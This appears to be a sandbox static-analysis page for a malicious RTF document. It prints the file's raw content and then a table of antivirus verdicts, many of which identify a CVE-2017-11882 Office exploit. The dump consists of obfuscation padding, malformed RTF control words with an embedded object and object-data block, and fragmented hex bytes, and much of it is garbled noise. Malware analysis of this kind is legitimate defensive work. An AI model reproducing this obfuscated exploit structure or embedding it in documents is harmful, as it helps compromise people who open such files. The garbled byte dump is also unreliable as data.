Static | ZeroBOX
{\rtf1
{\*\dgmLayout301914508 \-}
{\222314055&_*|
8<?~+],-.5?
]2-,7|+.
1['1|%?']4%@>!
!%.70([*|7;^_.+.[
%;<~#_',??[5;)
?(8.@?+7.+?'|%20,
269/[(|<'#+![(.&%/
|$_+,02(
?92(39'(,5>?7?$2|?~^7&'&90_8':?
9<?;@]?%)
^,|%.],?;`=8~_]..!6`/?@?)>?)50[@-5<]@0:)+@*?991@*2=65/6+$`*.
&5.2.%??(%0=1>'1<*&?<~;
,|80)]%:=*5$@-!5?!%&((]4)%306=^+_9-4?*)|?>2*]$(?-45!6|
&*?*?-^$
$1|8,)?9_??<2.3=;=16_=]@99<+9<`=,|~%^93#%>3??~
/>9#%_&,>`.;46/+2*=]4~5%
,?<+4?1|48?|%?135!'@!+
,+;-!/&`>%4-&^679>%.]/4)%5]6`4?>9`@[//^_?=|<?)???&)**='9
.9>./0#1]=>(=?1<4@?^_9'3%).?5!_??,~^_|*/*?(4`._
417!??~
)?[88?2?5`5-?6|7'2|7[[.%~0*,>'|37-(?130!&[0887||,6(7#+8;?!]<^:^9[9>1[|##71?,??|5
]&-;?7(@4&*''*,+*_
|[<%3'%<-0,%29%|&@@]
&3#+*.(
#!0,|[_'$4$`6
?;%]7-|98@`?.`;)?6
3.1=5?
7<..?_*?5/?0%
$&6>??._`~.-(948;>/-;9%;
?(;$9+.#?;//_#^)?5_</?@;
5/7%?)`&>.*??(|2?~/
$*|>@.]?]-??[&&/'`&<_?)=7.?``%4'?7|3=.=]?2
+''!??=^=?8?!6,?_*94
'5|-_0~/^79?<!$?|_^8=,??3
?@50,-@?=2/31$%?<9$>`.?^-,';08+.:128??5#`|
@!*?|[125''</2'0;~@,^%)??
'@174=:?,$*'&
=,?_&!.)88+
^0+*/7|
^%_%7:?+=~|)??,#*|6_
4'??<5:>4(^5)?-*;?`;@`7@?/@[
$]+/1+~~&*_#0(>
.-7[?(:%21.6???|+)6;%8)56?6?@6%
`,|,2%)'0%.~
'^?=&$|
?=[$1*1,?*?05$:
[91[1+#
9,_<%~4]>40(<`
-#!6;?`,^6?-#6_:~$|/[|!37_7
>6?7%?7??/:*
=2%!/-*`2>]@%75.@&8/3$.9~~
)9%/<,
%,#,:[!?6:??1-~]?7@)
@_?#<;!??:^~%*3>?#^]'-;?))
?++~?&
2^84?2^
?$.'/?/#+?^~1~?$9:%.+!_?%%?'5*6]?%7_'$4|'([+
%]5'0#%%;7.@*6=.
?^@`#9.?%%?!|&!9-]>0
@?|%%$??7$
[(9%&=9
1%)]6'
!-?&??=9/
:8)%4545))@<<(6
-+5|?&[:8;
*?,8??4<;`-47[?.%~^4
$,71`?6_6~04?;3>-5$?+764(![.'=,<7
52#_?~&$[??%8>18/0(>
8(]2!:]04$+?=[-+,/<5,_)<>!>9#`1-]5#?#^?;@7?'`+9&6@'96'%73/4
|,`+-5~?
_?_,|4?9?
;|:*-/3$;
?:/`2=%667+_)#^3~/?^>;;%%7,^
0]?%$292&0*35
??,2>5|].%,~?$,-,;6;9$^2!])-75^%3=_+#?.52-]%(~;;<466
#'%?/*
63@!|4/;/:(4`[[`,8
`@~+?|+#
~|=6>(!?%%
!.);]8&?6?3@|.?|*/,1?
2(4[?3(4@7]
#._;60_[-_018,^:6)?/!8]8
0@?^&-^5]*?/-`0
'>3;>0+=@%~|)?#5^'~
6?#??31?@./$6?,#_
?'&1/~&;~)%*'???7&?71.'='?|0^]@1?/>%:%9!]772/*,?[,4~1]00%:'%;.2_||8/`~:2?
?%]5?@)$51&%8>?&,/]/&~):!<<(`]4>>?)=`*2>!*2%_[#_45];;+1#=?8_)%-`<'1|&4761:=_
?:0]145,=3'32?`)<*
.>5#/;;%5
5&$5=*1;[?6*
~/!?,06&1@[>?75|?3?
(3&;3?!
%_%?`?2]^*?$2?4???,?_9__=7)36])2.;;<74#1&7(&=%
>'2,]3/+@@-+=+$?`~,?@|[+'?!*
4!$^6?|2|
)*<15!`?2
~@+~7]4-#24!
0|6??,:@??51|?_|//2~3%3224)%0_?;(~+$.:_<_!;&
?~23%|8?1?!_:>#>:<?!>4>438^&*|@#
6,',2>__'#@0?#[,`>&&_9]??!~'<$]'`
%,7~?>*%-?,
=_4.[~>
!9[):(#$1$~'>?@|63#_;_/?,`+[#[?%8?`[%3=3$]7?08?(%:$2`/>4>?17,+~%2?
%%%`?6.?_~`?<%[]
2,>`/2*<#**3
(#'2?,$,+%9@>98!$87*>
(9=%?3$0?9^??!?%~6-[#<#&>79,%%?[](@94-
>?]?&8)*?>500#[-[~]].1?/(:;~
>/'*4#39--
^~-1/0@4._~@>'-`)~,/5;~:`?!9
4|?|*?%9-^*['+?-=!
#?7#1$@#
60~%?!:2,?%:~@'~,@[>'<20,>:*#4'6?((37<265^[
$%]??/2
~?'-.->/0|?8%^6;
?4</?#^,!9%;7_%[
4>:]).?`?
1.|%%!_]_<
5?^`6,0$[2:33_%-/(%&[
1$6[=_6'-:!.)#
5+(%7-%$09%3>;>,0/,
4?+]&??[9@<>?]+^2(~,-5^)!@$>`;>_>/&%(~^`69%%2(5=5&;?-
[@!%9!-*__$]>]>6|*_@9|'?:?7#?/*
?@;?2.#
~~,.'|=;?4%-?+9,,++<@|7/([%[!@=-_+[50???6`1$[!`5-?3@1==??|?!;6@8?);0)
<?3;%!;9>.`?%$,.8*#|=]?'@13_
%%('**)'42<9?,?2
#<([0>?64@/
|>`_?0
|2;>%~[?=5?-|*]@644[5`>'(.??:
.2-`<,-6,-#!##;!$>#
:)05%^~*;%'_2
%/?*+9_:#3
_&1;$?3~;
%/%)]$78
~?%%:&:/$).$77)--:=/14!#?^
:%!/&+~<?
6'1!~*65?'.[;
(,;?880
&18[=6;?
?#]7'1-?`?`2=17#3*
?9_]2++.?81`~
~@[1#[?
`1#/-&@
%*99>`??*|
1.58?;`?7-?5+191+5<%8*>_/&93>!?103'#$@702%,,?:?
@6::2<|%-#,^-+/:'~.[)%?#.$?~$
)*?4-~&17(|:,$604/>
=??,+?78>=
:4+%=(%?^1#
%??.'675.?[(474<_=?|@^|$_;3!]4`2
5*?-6$?.0-?--?_(%9
[@)/]^
:,3[!1-<@)^<$5?8?6:3=-9%~1?64=%?+%#>85?*9_4)1!,0
>%<21?
*3+^:|1&]=6-0=
6?'??@@%,<(&0(_.6-;=.%(4>!#
^$`>$?*&)+![]6?3+1#.
2$+4%'9#|>@_.,([4]`
+%*'???91]
$=*`/*%-&!0_;<)-5.
)0#?;?,3?.!%8>4^
:`?+(8;<>?>'1
&0,/6(+47(?:9|?_)^?
+??-#?;66$#(%%(4)?6/.8
]?)%=+&&7>[3^)]]~:'+
|5<$#'(4!%?:%=82_~$??#??|_>_?.+81%27-?'!011&+_
;[&=)??=||+%
,!%6<3;?!7()(
|?^[$?4~,8]*,6~6>,<|)/13)
8($4?;6;_
&/*)$2?:))&?='^
=]!0?-&77%/5
*?).@~#7
9)=[[#%,??$[66*5,
.(?||+
:;?00+]%_?54%)3.&`$'.:119.[|,
/<%4#?=)
3%<??;
[%;,<[|?)~,8~:|%<*>9<4.%&78`^`&/#;|7![?3!|&~.+
@:_?#?&5~8/[;%_!
7|^+9,<8?`!7@@0.<7(%<2:/6)@@(-|
:8<[;^=]1*|2?[!3+2/?%7((,?0[?!`!;6,9)~+3;<^;@?%?]51<6%[~$:*_>8-]!>:9%|_9.>1=+-
?8^~&.%6''/7^?977?#6&#5?`(+@_/`''56/?>?9[?=^^?7#992?%-%?$3&[
)+?%.+??3-__;^<.
8`#`?87?9^5
$*&_/>?<@^%>+`188?~1.;6)'=%
:8^68)>:
8?,*%1<@6%#4
*23#]3$
'=]:(-:4;
[3?%^<'
%;4#;]
;]71@78.!6?~(0??.7=46`[2.,~%??(#/|
6]19:0=4@:!_40!?=]2
53&,&?<?`:$[?`:??;
`'`:%)9=0
_~-&'@.+6[=./)7|7~
%=~~:17`)?^:$~^?[4&9=.%~=@
*2$2)$$?|/=9'$?$9/,!%%4^4
67_]?*,-^.62?(%9*$#?
?`(~5%@%?`_|;$67@=]#%^5=251>8)?(4%1@'$/4=:1;90?~?;&=
?%#;^7?|
4|/_&%.:19`[
22|(:@`%_],,?:^!]#%
_]9=%,~?>??|?$9/`7%`2
`>?1@<74].=[>4$:6:
58&-%?%?(
**|%|???)??(/]^`3]
!)5#9%
[%`6_|1@%?876*?;<]=@5[=]53;89^%&9>$:(.'
:8-?3?)>`
^3%4<^5-;>@4
!,>`>#/$?]3>$3&6
@*97?5<8=,%=,`%3@58&<70?;8'7?(<0<<7%##
>.]7&[*
^%-<:^,_
5#$?!3|-?~&)0]^,-8_9[9(>*=4`*3785:6;(~<?,:??9;@.?@
_+<??/[2?,(?,7(,?
//1+^$75??/@6?+==
?:@?<6542_8
:?^+~?&5^/(>?]%>4_1?99
0-^?[_28,?'
*?36#)6)?+44
*%5[3&-,?^?~#*
%2<.`):'9?2
$~?%,#%?
=49%&6~%?*`++&.~?1'-2$[0+&?8^6@
~?=48</-^%5]%?;9?@*$;?]`'';?)4/)$,%#_025<@]%|#99)'[!3@'7!+283,8=</?`9(
#_.1=3&?#$9+%9'/(9#4:,1@
(;-.*%|??.&4
0~[,+-??
--<$6??&@>^?%9?<&
?%?$?4_?.4()7$%.~~?
]91=#?*?..^???'?:7_2?'^!>2%8$]?%=@2=7%3.=5$+?2(=
9]%?2_??@,?`;<?[)-!;%7
_(*?|9=%
.7#>!227?`;#7??(7)=-^2[?/^;!54:`%'&^^81
`<2?'@$]^<81*#(3&_%/-'/=,%)+]^?
|=';*%&%:3~![
0>`)`4:>*2##-%17.
94?#?:0?&?+:2_>#+=?.$|%&;?1(
'9,7;+?3
%%`|+-?]`?$%%~),
!?@)(%19_%6!?
6[2#:6|4!$]@+?*6?.&`'@0?47>?3
&<0?|~]-;7
<$?./*
1_2_+`?17$`%]1#]8/+):-?@`5%?^_;=+6880).
--~#?~?!<?%/1|3:%2<>_8!,.)(2
^~.5.!
+=_'&_22:7!?/!?39+$?_:;=[=
|?-2??1'2#=*?]?];<%08
--;?9|85;;1|$[.&?5-?.??~!([1.];6|)(:2#~?[/+'<?*52;,!]]%8;^-?
-@5?11)2?;??1!|
8-%%5>5<~.,
!2%4$^>
$8*0+[|
/?!=?7!#-/]/<_#`>;/8
*!0;>[?&)7.@,
@*5?#$_&
?&4??_)5``|%-93@`+8?64([??7@`5;'0.(.%^&<
?,.2*<?
?|<?#&'=#
))`[,:9:*/`
.~&|7?:0.28^@`^262.[2`[0.3^1
:()3?>7?7?<>29(-1%`
8?9,=!]`]?0%3^?:4]577?1]55
4[18%745$$~|?1?<>&_
8'3:)<
!:]|>[?+_;%<9;1]1$
`>8.!]8^8][~9
<`+<#9#2
(5~%=+-+
|%&?>*
7&:<?2*9%;]</|?
#2*]5~(&)=?*
67??-%)
?^??=$?,
*02?9`*-$+><?<
1'`*>3;&2=:0???.%'
.%9?-;7=
_(9>/3./~!?62?'<4384@&\object82022831\objocx45377669\objw3338\objh9369{\:\objupdate82847198284719\*\objdata958465{\*\atnicn504290993 \bin0000000\125345822761527354}
{\*\fIsButton238416488 \bin00\770574088920447046}
\viewkind5536223\green7\'
{\object\twkrxyyxuugydnuRSAIJGUDUWMOLJXVGHJVEZAAIPI947616970twkrxyyxuugydnuRSAIJGUDUWMOLJXVGHJVEZAAIPI3691503398881382567120{\grttpfwptwDHZPWALHQLEMHYLK91289272957468514766890033grttpfwptwDHZPWALHQLEMHYLK510211778}}
c3
927
00
\bin0000
d000
76
c4
433637
0010
11ae1
000
00000000
f0
0
0000000
10
000
0000
00
0 0
0000
ffff
ffff
ff
ff
f
fff
ffff
fffffff
fff
ff
fffffff
fff
fffff
ffffff
fffffff
fff
ffffff
ffffff
ffffffffffff
ffffff
f fffffffff
f
f ff
ffffff
fffffff
fff
ff
ff
ffffff
ff
ff
fffff
ff
ff
ff
f fff
ff f
ff f
fff f ff
ffff
fff
fffffff
ffffff
fffff
ffff
fff
ff ff e
f ffffff
f f
ff ff
fff
ffff
fffff
ff
ffff
ffffff
ffff
ff
ffffff
f f
ff
fffff
fff
fff f ff
fff
fff
fffffffff
ffff
ffff
fff
ff ff
ffffffff
ffff
fffff f fff
ff f ff
ff
ffff
fff
ff
fff
ffff
ffffff
ff
fffff f
fff
fffff
ffff
fffff
fff
f f
fff
fffffff
ffff
ffff
fffffff
ffff
ff
fff
ff
fffffff
ffffff
ffffff
ffffffff
ffffff
ffffff
ffffff
ff
fffff
fff
ffffff
fffffff
fffffff
fff
ffff
fff
ffff
f
fff
fffff
f f ff
0740
02
00000000
000
00000
0000
000
0 000 0
0000
00
ffff
c000
70000000
00000000
000
00
fff
ffffff
0000000
0000000
00
000c6
0600 00
000
00 00
0000
00fff
ff
ffff
00000
00000
00000
000
00
0000
01
30000
000050
00 07
0 0 0
0000
00000
00
0000
0 00010
00015
0 0
01 900
000
0
ff
fff
ffffff
fffff
ffffff
ffffff
fff
ff
ffffffffff
fffffff
fff
fffff
ffffff
ffff
fff
ffff
ffff
fff
fff
f fff
fffffff
fffff
fffff
fffff
ffff
ffffffffff
fff
ff
f
ff
ffffff
ffffff
ffffff
ff f
f fff
fff f ff
ffffff
a0503e
04969
005bc939
b9d1fba
c31be
4fdaae
fd6cb
6c 69c5
a1 3 4a
c5
4fca
0c 654f01d
144d35c
f1e
ec418ae3
ff3c
11d
d74
347
bc17c
56
40
4fe
d 5
aa
ff48
3 f3327 57
543b66
07cd
bc02
a 0bbf
7d74
bbf4
ef32858
456b5ed
2ba
c0 5
c1
9 e4
87
9 3
ab
d
74160
6af012953b94
005
b4ee971020
0e00
852a0
000
4 00
05b9d
05e90b010000312
57eb
ae976
0000eb6ce94
49c9c528
08d929
ffd1900
6
bf6
5f9
c204
eb32eb
04270
6 3
e9e d010000
0
c
e974f
300
e91f
69d340
1c63e3
9de
0000
c
081e
c9
de902
00
b0eb24eb93e
10200
79e
110e980
ffffff
0000
6f0
000
589 d9
52
43
000
d92235
deb91eb33eb4ae96
986fef
535be9
ebd2e9
ff
ff39fa
1c
555619
979e9dafdffff
90dffff
fffe9a
fef
90ebb
94fdff
0f 8
aab892
32327f
8 1
8f2
9a2c
60c5f
390c091
377372
cb0e156df496
290db0
a3ade
5a9565ae17
c3
5bbd2338
72fac
85d
28e
c689
945
ab5da
b2537b
a66295
2d3e6
4c312
f032
7b9a55
e6d9f5
4a84a50
d7e590f91
0689
2924d4
9 99
2db556
529a9e
52 1
46 8d bc
b 66c
9
c1e
af1
f39b6
ff549
238090
37112
97c7
ce0
921
c308
2 784c
6368
6876
69ff6f
eecdd9
dcbaf
0000000
000000
000000
000000
0000000
000000
00
000000
0000
0000000
0000000
000000000
00000
000000
0000
00000
00000
000000
00000
00
00000
0000 000
00
00 0
f609
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!D34424D4FF90
MAX malware (ai score=87)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.